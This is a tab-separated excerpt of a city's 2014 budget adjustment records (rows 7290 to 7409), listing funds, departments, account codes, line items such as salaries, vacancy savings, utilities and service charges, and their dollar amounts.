7290	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	2477.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2477.0
7291	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	9650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9650.0
7292	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	4500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4500.0
7293	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
7294	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400600.0	OVERSIZE LOAD	612.0	Charges for Service	2014	-30071.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-30071.0
7295	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7296	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7297	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7298	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7299	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-359.0
7300	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-10737.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10737.0
7301	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7302	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-6710.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6710.0
7303	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-9609.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9609.0
7304	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-11992.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11992.0
7305	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-6846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6846.0
7306	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-887.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-887.0
7307	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-16274.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16274.0
7308	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2014	-31130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-31130.0
7309	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2014	-52410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-52410.0
7310	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2014	-54654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-54654.0
7311	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2014	-7636.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7636.0
7312	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	713.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	713.0
7313	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
7314	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
7315	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2014	49261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49261.0
7316	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2014	42081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42081.0
7317	BA	IS	77	Parking Authority Fund	130	FINANCE	236	PARKING AUTHORITY	404230.0	P/A BD FUND INT-DEP/INVEST	659.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7318	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511748.0	DENTAL	804.0	Salaries and Wages	2014	3466.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3466.0
7319	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	77137.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77137.0
7320	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-5875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5875.0
7321	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	588030.0	COMPUTER EQUIPMENT	804.0	 Supplies and Expenses	2014	75000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75000.0
7322	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	1984.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1984.0
7323	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-3RD ST & MISC	800.0	 Supplies and Expenses	2014	29050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29050.0
7324	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY HAL	808.0	 Supplies and Expenses	2014	2100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2100.0
7325	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522860.0	FUEL MANAGEMENT SYSTEMS	806.0	 Supplies and Expenses	2014	2431.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2431.0
7326	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	26031.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26031.0
7327	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	800000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800000.0
7328	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	17760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17760.0
7329	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	283843.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	283843.0
7330	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	19963.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19963.0
7331	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	2900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2900.0
7332	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522125.0	UTIL - NATURAL GAS - PSF	808.0	 Supplies and Expenses	2014	20900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20900.0
7333	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533216.0	BLDG/CUSTODIAL SUPPLIES - LIB	808.0	 Supplies and Expenses	2014	67120.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	67120.0
7334	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	35960.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35960.0
7335	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	26147.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26147.0
7336	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	1650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1650.0
7337	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	120312.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	120312.0
7338	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	1045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1045.0
7339	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	542210.0	PUBLICATIONS	804.0	 Supplies and Expenses	2014	182291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	182291.0
7340	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	198395.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	198395.0
7341	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560050.0	TOOL ALLOWANCE		 Supplies and Expenses	2014	27675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27675.0
7342	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2014	-158150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-158150.0
7343	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-46728.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46728.0
7344	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-47770.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-47770.0
7345	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511900.0	VACANCY SAVINGS	840.0	Salaries and Wages	2014	-13134.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-13134.0
7346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7347	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7348	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7349	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7350	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	404900.0	TMP FEES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7351	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2014	-5500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5500.0
7352	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	10771.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10771.0
7353	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7354	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2014	-335000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-335000.0
7355	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2014	-26147.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-26147.0
7356	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405620.0	PRIVATE COACHING FEE	612.0	Charges for Service	2014	-1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1500.0
7357	BA	IS	15	Low/Mod Incme Housing Asset Fd	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577260.0	SENIOR HOUSING VOUCHER PRG	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7358	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-33800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-33800.0
7359	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-14684.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14684.0
7360	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-22924.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-22924.0
7361	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-305863.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-305863.0
7362	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-21565.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21565.0
7363	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7364	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7365	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511744.0	MED TRUST - POLICE	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7366	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7367	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	7885.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7885.0
7368	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-21366.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21366.0
7369	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EAP	804.0	Salaries and Wages	2014	722.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	722.0
7370	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	20184.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20184.0
7371	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	231990.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	231990.0
7372	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2663.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2663.0
7373	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	11625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11625.0
7374	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
7375	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405610.0	LAWN BOWLING	612.0	Charges for Service	2014	-1715.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1715.0
7376	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562270.0	ST. JOHN'S CFDC-ROGERS LEARNIN		 Supplies and Expenses	2014	60466.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60466.0
7377	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522340.0	BUY LOCAL CAMPAIGN		 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
7378	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	407290.0	FUEL SURCHARGE	650.0	Charges for Service	2014	-67958.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-67958.0
7379	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	476938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	476938.0
7380	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNEMPLOYMENT	808.0	Salaries and Wages	2014	10011.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10011.0
7381	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	4754.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4754.0
7382	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7383	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
7384	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7385	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	10428.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10428.0
7386	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2014	4414.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4414.0
7387	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2014	148717.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	148717.0
7388	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	117000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	117000.0
7389	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7390	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7391	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7392	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7393	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	405330.0	HOUSING PROPERTY RENTALS	618.0	Rentals	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
7394	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7395	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-16927.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16927.0
7396	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-3768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3768.0
7397	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-4467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4467.0
7398	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1977.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1977.0
7399	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7400	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-20457.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20457.0
7401	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-62197.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-62197.0
7402	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7403	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7404	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7405	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	149678.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	149678.0
7406	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579250.0	GEOGRAPHIC INFORMATION SYSTEM	804.0	 Supplies and Expenses	2014	31000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31000.0
7407	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7408	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	16932.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16932.0
7409	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	17810.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17810.0
